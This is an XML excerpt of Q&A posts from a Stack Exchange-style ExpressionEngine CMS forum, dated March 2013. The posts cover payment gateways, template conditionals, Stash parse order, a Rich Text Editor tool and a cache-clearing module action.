  <row Id="7378" PostTypeId="2" ParentId="7377" CreationDate="2013-03-15T04:04:52.743" Score="3" Body="&lt;p&gt;Yup the BBC field allows a comma delimited list of email addresses. &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-03-15T04:04:52.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7379" PostTypeId="2" ParentId="7362" CreationDate="2013-03-15T08:19:29.560" Score="1" Body="&lt;p&gt;Anna's solution is good. You could also utilise your htaccess file to always run the site with or without the www&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-03-15T08:19:29.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7380" PostTypeId="2" ParentId="7148" CreationDate="2013-03-15T08:25:38.143" Score="1" Body="&lt;p&gt;Chris, this is something of a quandary that has lingered in EE (and any relational db environment) for ages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our general workflow is that content is always published in production and only template development is tested in staging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had an issue years ago using another CMS where we were trying to setup this kind of synchronisation but we found there wasn't a way to do it without overwriting authors at some point.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-03-15T08:25:38.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7381" PostTypeId="1" CreationDate="2013-03-15T08:41:19.100" Score="3" ViewCount="217" Body="&lt;p&gt;I've sent an email to Exp-resso's support but didn't get an answer. &#xA;I'm trying to setup the iDAEL payment gateway. Got all the certificates in place. &#xA;On the final step where you choose you payment iDeal and your Payment Issuer. I'm getting an XML error on the Payment Issuer list. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did al lot of checking and testing with no result. My question was and is: &quot;on what version of iDAEL is the payment gateway based?&quot;&#xA;The old version 2 or the new version 3 which was released in April 2012.&#xA;If based on version 2 then my question is when can we expect an update based on version 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When looking at merchant_ideal.php and the change log on iDEAL v3 then it must be based on version 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;http://www.ideal.nl/download/iDEAL_Merchant_Integration_Guide_Summary_of_Changes_v3.3.1_ENG.pdf&quot; rel=&quot;nofollow&quot;&gt;http://www.ideal.nl/download/iDEAL_Merchant_Integration_Guide_Summary_of_Changes_v3.3.1_ENG.pdf&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's already based on version 3 then could someone help my fix this problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running EE 2.5.5. Store 1.6.3 on a windows IIS 6 (&amp;lt;= Yes I know, it sucks but running)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Martijn&lt;/p&gt;&#xA;" OwnerUserId="1178" LastActivityDate="2013-09-11T13:40:14.283" Title="Exp-resso store Payment gateway iDEAL not working" Tags="|expresso-store|payment-gateway|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7382" PostTypeId="1" CreationDate="2013-03-15T08:53:59.570" Score="1" ViewCount="85" Body="&lt;p&gt;While I'm here I'll might ask the next question as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When placing and paying an order on the transaction description from the payment provider it only says &quot;Order 12&quot; or another number. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to change this. For example by adding the product title or something else custom. One of the custom order fields perhaps?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm setting up Store to work with donations and a little shop. It would be nice to add something extra to the description like &quot;Donation ...&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running EE 2.5.5 and Store 1.6.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tnx, Martijn&lt;/p&gt;&#xA;" OwnerUserId="1178" LastActivityDate="2013-03-15T09:24:28.673" Title="Exp-resso store Payment order description" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7383" PostTypeId="2" ParentId="7382" CreationDate="2013-03-15T09:24:28.673" Score="1" Body="&lt;p&gt;In your templates you can use the &lt;code&gt;{items}&lt;/code&gt; loop to list out any additional details about a specific order that you want. Something along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:orders}&#xA;{items}&#xA; {title} -- {item_subtotal}&#xA;{/items}&#xA;{exp:store:orders}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will work in the Cart/Checkout/Orders templates and the email templates. You can use any variables mentioned &lt;a href=&quot;https://exp-resso.com/docs/store/checkout_tag.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; along with a few extra tags in the order template/email listed &lt;a href=&quot;https://exp-resso.com/docs/store/orders_tag.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-03-15T09:24:28.673" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7384" PostTypeId="2" ParentId="7320" CreationDate="2013-03-15T10:03:44.073" Score="5" Body="&lt;p&gt;Like Bhashkar said, that code should work in either a PHP-enabled template or put in a plugin and then put in a template. Then call the template to clear cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A more advanced way, and probably the proper way to do it, is to create a simple module, which can use an Action URL. Stephen Lewis &lt;a href=&quot;http://experiencehq.net/blog/a-brief-introduction-to-expressionengine-actions&quot; rel=&quot;noreferrer&quot;&gt;wrote a blog post about what Actions are&lt;/a&gt;. Basically, an action maps a url like &lt;code&gt;http://domain.com/index.php?ACT=123&lt;/code&gt; (where 123 is the action ID) to any method in your module. You can use it to trigger the cache clearing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say you add this method to your &lt;code&gt;mod.my_addon.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function clear_cache()&#xA;{&#xA;    $this-&amp;gt;EE-&amp;gt;functions-&amp;gt;clear_caching('all', '', TRUE);&#xA;    die('Cache cleared');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your &lt;code&gt;upd.my_addon.php&lt;/code&gt; file, inside the &lt;code&gt;install()&lt;/code&gt; method, you need to add the action. Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;db-&amp;gt;insert('actions', array(&#xA;    'class'  =&amp;gt; 'My_addon',&#xA;    'method' =&amp;gt; 'clear_cache'&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;My_addon&lt;/code&gt; is the name of the class in the &lt;code&gt;mod.my_addon.php&lt;/code&gt; file and &lt;code&gt;clear_cache&lt;/code&gt; refers to the method you want to execute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could even add a check in your own &lt;code&gt;clear_cache&lt;/code&gt; method for something like a secret key, so URL-hackers can't accidentally (or deliberately) trigger it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sounds like something one could learn in a certain workshop. ;)&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-03-15T10:03:44.073" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7385" PostTypeId="1" AcceptedAnswerId="7421" CreationDate="2013-03-15T11:02:17.960" Score="0" ViewCount="186" Body="&lt;p&gt;I'm having an issue with freemember inline error checking.  The error checking works fine, but when the page refreshes it loses all the correctly entered data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for example if I have a registration page; I fill out my name and other details but miss out a required field like email. When I hit submit the page refreshes and an error message has appeared by the email field, but all the values for name etc are blank and the user has to fill them in again.  Obviously I would prefer those details to have been remembered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="807" LastActivityDate="2013-03-16T19:56:40.243" Title="Freemember inline errors are clearing form field values" Tags="|freemember|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7386" PostTypeId="1" AcceptedAnswerId="7388" CreationDate="2013-03-15T11:17:25.800" Score="3" ViewCount="538" Body="&lt;p&gt;This one has me baffled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to show some content based on the Global variable IP Address. But none of these work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {ip_address} != 127.0.0.2}SHOW THIS{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;OR&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {ip_address} != '127.0.0.2'}SHOW THIS{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;OR&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{ip_address}' != '127.0.0.2'}SHOW THIS{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would expect at least the last conditional to work. Is this a parsing issue?&lt;/p&gt;&#xA;" OwnerUserId="351" LastActivityDate="2014-01-16T14:53:41.900" Title="Conditional with Ip Address" Tags="|global-variables|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7387" PostTypeId="2" ParentId="7386" CreationDate="2013-03-15T11:24:07.940" Score="1" Body="&lt;p&gt;This standard global variable should work with logged in member. See here &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/single_variables.html#ip-address&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/templates/globals/single_variables.html#ip-address&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-03-15T11:24:07.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7388" PostTypeId="2" ParentId="7386" CreationDate="2013-03-15T11:35:18.500" Score="4" Body="&lt;p&gt;The variable &lt;code&gt;{ip_address}&lt;/code&gt; is one of the standard global variables that is &lt;a href=&quot;http://loweblog.com/downloads/ee-parse-order.pdf&quot; rel=&quot;nofollow&quot;&gt;parsed last&lt;/a&gt;, even after advanced conditionals. That means you can't use it in a conditional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use &lt;a href=&quot;http://devot-ee.com/add-ons/mo-variables&quot; rel=&quot;nofollow&quot;&gt;Mo’ Variables&lt;/a&gt; (or &lt;a href=&quot;http://gotolow.com/addons/low-variables&quot; rel=&quot;nofollow&quot;&gt;Low Variables&lt;/a&gt; if you’re already using it) to have &lt;code&gt;{logged_in_ip_address}&lt;/code&gt; available as an early parsed var, so you &lt;em&gt;can&lt;/em&gt; use it in conditionals.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-03-15T11:35:18.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7389" PostTypeId="2" ParentId="7381" CreationDate="2013-03-15T11:39:40.940" Score="1" Body="&lt;p&gt;From what I can tell, Store uses iDEAL v2. We simply implemented the version that was specified in documents sent to us when the gateway development was originally sponsored - your email was the first time I heard about an iDEAL v3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your bank can support iDEAL v2 then that is the best option for you. Otherwise, it may require us to develop a new gateway if a lot has changed in the API (it sounds like it). You can follow up with us via email if you want to discuss developing a new gateway.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-03-15T11:39:40.940" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7391" PostTypeId="2" ParentId="1142" CreationDate="2013-03-15T13:13:42.890" Score="0" Body="&lt;p&gt;I think theoretically this can work. If you use the exact ASIN for each product as a segment variable and then use that segment variable as the search term within the AWS add-on from HopStudios you could build the page entirely from data from the Amazon api.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only potential problem would be parse order - you would need to test the setup to see if worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:aws_products:search limit=&quot;1&quot; region=&quot;com&quot; index=&quot;All&quot; debug=&quot;no&quot; cache=&quot;yes&quot; refresh=&quot;300000&quot;}&#xA;{define_keywords}{segment_3}{/define_keywords}&#xA;&#xA;{if product_name}Product Name: {product_name}&amp;lt;br /&amp;gt;{/if}&#xA;&#xA;{/exp:aws_products:search}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that I've used &lt;code&gt;index=&quot;All&quot;&lt;/code&gt; which neatly gets around just searching the Books section of Amazon. It's not documented on HopStudios site but I just took a wild guess and it worked. : )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also if you use the ASIN as the search term it will work on all of Amazon's international sites (provided the product is listed). So again theoretically if you were to specify the Amazon locale as a segment variable you could create localised versions of the page.&lt;/p&gt;&#xA;" OwnerUserId="98" LastEditorUserId="77" LastEditDate="2013-03-15T14:02:45.043" LastActivityDate="2013-03-15T14:02:45.043" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7392" PostTypeId="1" AcceptedAnswerId="7473" CreationDate="2013-03-15T14:28:53.337" Score="7" ViewCount="1907" Body="&lt;p&gt;I'm trying to follow along with the rich text editor documentation in expression engine, but it's a little unclear to me:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/rte_tools.html&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/rte_tools.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a php file like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Class center_text {&#xA;&#xA;    public $info = array(&#xA;        'name'        =&amp;gt; 'Center Text',&#xA;        'version'     =&amp;gt; '1.0',&#xA;        'description' =&amp;gt; 'Center Aligns Text',&#xA;        'cp_only'     =&amp;gt; 'y'&#xA;    );&#xA;&#xA;    private $EE;&#xA;&#xA;    /**&#xA;     *  Constructor&#xA;     */&#xA;    function __construct()&#xA;    {&#xA;        // Make a local reference of the ExpressionEngine super object&#xA;        $this-&amp;gt;EE =&amp;amp; get_instance();&#xA;    }&#xA;&#xA;    /**&#xA;     *  Globals we need defined&#xA;     */&#xA;    function globals()&#xA;    {&#xA;        $this-&amp;gt;EE-&amp;gt;lang-&amp;gt;loadfile('center_text');&#xA;        return array(&#xA;            'rte.center_text.label' =&amp;gt; lang('center_text')&#xA;        );&#xA;    }&#xA;&#xA;&#xA;    /**&#xA;     *  RTE tool Definition&#xA;     */&#xA;    function definition()&#xA;    {&#xA;        return '&#xA;&#xA;        WysiHat.addButton('center_text', {&#xA;            label: EE.rte.center_text.label,&#xA;            handler: function()&#xA;            {&#xA;                // Button Logic&#xA;            }&#xA;        });&#xA;&#xA;        ';&#xA;    }&#xA;&#xA;}&#xA;// END center_text_rte class&#xA;&#xA;/* End of file rte.center_text.php */&#xA;/* Location: ./system/expressionengine/third_party/center_text/rte.center_text.php */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Named and placed as mentioned in the comments. I realize that this wouldn't exactly do anything just yet (I still don't know how to make that happen) - but I would expect it to show up as an option now in the toolset of the rich text editor, but it's not. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have an example tool they've built for the RTE, or can point me to the default tools so I can see how they're set up. All I really want to do is define some very simple styles that CMS users can apply to their text, and the css will handle the rest (such as center, left, or right aligning text).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help or clarification on this.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;UPDATE - -&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I found the rte_tools folder in the system &gt; expressionengine directory, and copied the &quot;bold&quot; example, and just changed the names to center_text, then saved to that same directory, but still nothing shows up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the revised code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');&#xA;&#xA;/**&#xA; * ExpressionEngine - by EllisLab&#xA; *&#xA; * @package     ExpressionEngine&#xA; * @author      Mike Heavers&#xA; * @copyright   Copyright (c) 2012, Mike Heavers&#xA; * @license     http://expressionengine.com/user_guide/license.html&#xA; * @link        http://expressionengine.com&#xA; * @since       Version 2.5&#xA; * @filesource&#xA; */&#xA;&#xA;// ------------------------------------------------------------------------&#xA;&#xA;/**&#xA; * ExpressionEngine Bold RTE Tool&#xA; *&#xA; * @package     ExpressionEngine&#xA; * @subpackage  RTE&#xA; * @category    RTE&#xA; * @author      Mike Heavers&#xA; * @link        http://mikeheavers.com&#xA; */&#xA;class Center_text_rte {&#xA;&#xA;    public $info = array(&#xA;        'name'          =&amp;gt; 'Center Text',&#xA;        'version'       =&amp;gt; '1.0',&#xA;        'description'   =&amp;gt; 'Centers Text',&#xA;        'cp_only'       =&amp;gt; 'n'&#xA;    );&#xA;&#xA;    private $EE;&#xA;&#xA;    /**&#xA;     * Constructor&#xA;     *&#xA;     * @access  public&#xA;     */&#xA;    function __construct()&#xA;    {&#xA;        // Make a local reference of the ExpressionEngine super object&#xA;        $this-&amp;gt;EE =&amp;amp; get_instance();&#xA;    }&#xA;&#xA;    // --------------------------------------------------------------------&#xA;&#xA;    /**&#xA;     * Globals we need&#xA;     *&#xA;     * @access  public&#xA;     */&#xA;    function globals()&#xA;    {&#xA;        $this-&amp;gt;EE-&amp;gt;lang-&amp;gt;loadfile('rte');&#xA;        return array(&#xA;            'rte.center_text'  =&amp;gt; array(&#xA;                'add'       =&amp;gt; lang('center_text'),&#xA;                'remove'    =&amp;gt; lang('remove_center_text')&#xA;            )&#xA;        );&#xA;    }&#xA;&#xA;    // --------------------------------------------------------------------&#xA;&#xA;    /**&#xA;     * JS Definition&#xA;     *&#xA;     * @access  public&#xA;     */&#xA;    function definition()&#xA;    {&#xA;        ob_start(); ?&amp;gt;&#xA;&#xA;        WysiHat.addButton('center_text', {&#xA;            label:          EE.rte.center_text.add,&#xA;            'toggle-text':  EE.rte.center_text.remove&#xA;        });&#xA;&#xA;&amp;lt;?php   $buffer = ob_get_contents();&#xA;        ob_end_clean(); &#xA;        return $buffer;&#xA;    }&#xA;&#xA;} // END Center_text_rte&#xA;&#xA;/* End of file rte.center_text.php */&#xA;/* Location: ./system/expressionengine/third_party/center_text/rte.center_text.php */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="461" LastEditorUserId="461" LastEditDate="2013-03-15T14:59:09.157" LastActivityDate="2014-01-24T03:01:40.390" Title="Expression Engine Rich Text Editor Tools" Tags="|module|php|wysiwyg|richtext|rte|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7393" PostTypeId="1" CreationDate="2013-03-15T14:42:31.077" Score="1" ViewCount="96" Body="&lt;p&gt;Not sure if this is even possible but worth asking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the Price by Member Group fieldtype to offer a different price for a specific member group.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what if I have a price modifier. ie: small/medium/large as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the base Price is $50&#xA;The discounted member group the base price is $25&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if you order large you add $30 to the product for global and you add $15 if you order large  and are in the discounted member group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This doesn't seem possible based on what I can see.&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-03-15T14:42:31.077" Title="CArt Throb Price by Member Group PLUS price modifier" Tags="|cartthrob|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7394" PostTypeId="1" AcceptedAnswerId="7447" CreationDate="2013-03-15T15:56:29.647" Score="0" ViewCount="131" Body="&lt;p&gt;I'm trying to use Stash embeds on a pretty complex site and can 'see' a way to make things more DRY but can't actually figure out how to 'do'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a collection of viewModal templates, that handle the various channels, and a lot of these channels share a naming convention for their right column meta data. In a perfect world, I would've shared these fieldgroups across the channels, but as that's not possible, I had to repeat myself a lot in the fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example (stripped down slightly):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/editorial.html (viewModal template)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Set the page layout --}&#xA;{stash:embed:layouts:standard}&#xA;&#xA;{!-- Right side area [inject the rightcol_meta partial into the {stash:page_meta} region] --}&#xA;{exp:stash:set_value name=&quot;st_page_meta&quot; value=&quot;{exp:stash:embed:partials:rightcol_meta}&quot;}&#xA;&#xA;{!-- Main content area --}&#xA;{exp:channel:entries limit=&quot;1&quot; channel=&quot;editorial|structure_editorial&quot; disable=&quot;member_data|pagination|categories&quot; require_entry=&quot;yes&quot;}&#xA;    {exp:stash:st_page_title}{title}{/exp:stash:st_page_title}&#xA;    {exp:stash:st_page_body}{cf_editorial_body}{/exp:stash:st_page_body}&#xA;&#xA;    {!-- (make all the meta fields snippets) --}&#xA;    {!-- Related links --}&#xA;    {exp:stash:set_list name=&quot;st_rel_links&quot; parse_tags=&quot;yes&quot;}&#xA;        **{cf_editorial_rel_links}**&#xA;            {stash:st_rel_link_title}{title}{/stash:st_rel_link_title}&#xA;            {stash:st_rel_link_url}{page_url}{/stash:st_rel_link_url}&#xA;        **{/cf_editorial_rel_links}**&#xA;    {/exp:stash:set_list}&#xA;&#xA;    {!-- Related publications --}&#xA;    {exp:stash:set_list name=&quot;st_rel_pubs&quot; parse_tags=&quot;yes&quot;}&#xA;        **{cf_editorial_rel_publication}**&#xA;            {stash:st_rel_link_title}{title}{/stash:st_rel_link_title}&#xA;            {stash:st_rel_link_url}{page_url}{/stash:st_rel_link_url}&#xA;        **{/cf_editorial_rel_publication}**&#xA;    {/exp:stash:set_list}&#xA;&#xA;    {!-- featureboxes (make all the meta fields snippets --}&#xA;    {exp:stash:set_list name=&quot;st_fbox_list&quot; parse_tags=&quot;yes&quot;}&#xA;        **{cf_editorial_fbox}**&#xA;            {stash:st_fbox_type}{cf_fbox_type}{/stash:st_fbox_type}&#xA;        {!-- Heading style --}&#xA;            {stash:st_fbox_heading}{cf_fbox_heading}{/stash:st_fbox_heading}&#xA;            {stash:st_fbox_heading_body}{cf_fbox_body}{/stash:st_fbox_heading_body}&#xA;        {!-- Image --}&#xA;            {cf_fbox_img}&#xA;                {stash:st_fbox_img_src}{url}{/stash:st_fbox_img_src}&#xA;                {stash:st_fbox_img_alt}{alt_text}{/stash:st_fbox_img_alt}&#xA;            {/cf_fbox_img}&#xA;            {stash:st_fbox_img_link}{cf_fbox_img_link}{/stash:st_fbox_img_link}     &#xA;        **{/cf_editorial_fbox}**&#xA;    {/exp:stash:set_list}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've surrounded the parts I'm talking about in *s (turns out I can't bold inside a code snippet). I want to be able to change these sections into snippets, and instead of &lt;code&gt;{cf_editorial_rel_links}&lt;/code&gt; etc I would like to use &lt;code&gt;{cf_{channel_short_name}_rel_links}&lt;/code&gt; so that in each viewModal I could just include 1 snippet. Even if I had to use &lt;code&gt;{cf_{exp:stash:get name=&quot;channel_name&quot;}_rel_links}&lt;/code&gt; it would be fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible? I think it is, but can't seem to get it to parse the channel short name (with stash or otherwise) in time for it to be processed correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rob&lt;/p&gt;&#xA;" OwnerUserId="192" LastActivityDate="2013-03-18T10:20:40.273" Title="Stash: How can I preset a channel var in the right stage of the parse order?" Tags="|stash|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7395" PostTypeId="1" CreationDate="2013-03-15T16:10:18.093" Score="1" ViewCount="94" Body="&lt;p&gt;About to kick-off an 1.x to 2.x upgrade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the most part the site is in decent shape. Unfortunately though we're dealing with some WYSIWYG fields where content that's been pasted from Word and other horrible places where the HTML is pretty ridiculous.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've already ran it through a tag stripper for XML import but we still have a host of classes on p tags and inline styles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had thought about using XSLT to strip the crap from the XML but not sure where I'd even start here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions or known methods?&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-03-15T17:01:37.173" Title="content cleaning" Tags="|strip-html|html|content|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7396" PostTypeId="2" ParentId="7395" CreationDate="2013-03-15T17:01:37.173" Score="1" Body="&lt;p&gt;So, I'm not sure if this would be sufficient or even what you're looking for (if there's loads of content this will be tedious), but first thing I thought of was just doing it frontend with jQuery:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('#textDiv').find('*').each(function() {&#xA;    $(this).removeAttr('class').removeAttr('style');&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then copy the HTML from Firebug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I got really self-conscious about my suggestion and searched a little, and found this: &lt;a href=&quot;http://htmlpurifier.org/&quot; rel=&quot;nofollow&quot;&gt;HTML Purifier&lt;/a&gt; that seems to be exactly what you're looking for.&lt;/p&gt;&#xA;" OwnerUserId="1004" LastActivityDate="2013-03-15T17:01:37.173" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7397" PostTypeId="1" CreationDate="2013-03-15T17:09:53.087" Score="1" ViewCount="71" Body="&lt;p&gt;Im using prettyphoto to create a staff popout info page when a staff photo is clicked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pretty photo calls another template via ajax, which works ok except for the staff email which outputs an error: 'JavaScript must be enabled to view this email address'.&#xA;The code in the ajax popup is as follows: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;modal&quot;&amp;gt;&#xA;{exp:channel:entries channel=&quot;leadershipteam&quot; disable=&quot;categories|trackbacks|pagination&quot; sort=&quot;asc&quot; entry_id=&quot;{embed:entry_id}&quot; limit=&quot;1&quot;}&#xA;&amp;lt;img src=&quot;{colourphoto}&quot; class=&quot;leftimage&quot;&amp;gt;&amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&amp;lt;h2&amp;gt;{staff_title}&amp;lt;/h2&amp;gt;&#xA;&amp;lt;p&amp;gt;{staffdescription}&amp;lt;/p&amp;gt;&#xA;&amp;lt;br /&amp;gt;&amp;lt;strong&amp;gt;{if staff_email} E: {staff_email}&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;{/if}{if staff_phone}P: {staff_phone}&amp;lt;br /&amp;gt;{/if}&amp;lt;/strong&amp;gt;&#xA;{/exp:channel:entries}&#xA;{clear}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="95" LastActivityDate="2013-03-15T21:45:32.930" Title="Javascript email error with prettyphoto" Tags="|ajax|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7398" PostTypeId="1" CreationDate="2013-03-15T17:25:02.773" Score="1" ViewCount="321" Body="&lt;p&gt;Does anyone have any experience with selling tickets box office style? I have exp:resso store, but I havent seen addy add ons for ticket sales. In a perfect world, it would be awesome for the customer should be able to buy the ticket and then print a ticket after payment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any suggestions or advice?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks again&lt;/p&gt;&#xA;" OwnerUserId="295" LastActivityDate="2013-03-15T20:00:21.567" Title="Ticket sales through expression engine?" Tags="|expresso-store|ecommerce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7399" PostTypeId="1" CreationDate="2013-03-15T17:35:21.313" Score="2" ViewCount="403" Body="&lt;p&gt;Quick question - can the FreeMember register tag login the user automatically? Apologies if I've missed anything in the docs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="506" LastEditorUserId="150" LastEditDate="2013-03-16T03:30:16.700" LastActivityDate="2014-05-14T10:01:25.937" Title="Auto login on freemember registration" Tags="|freemember|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
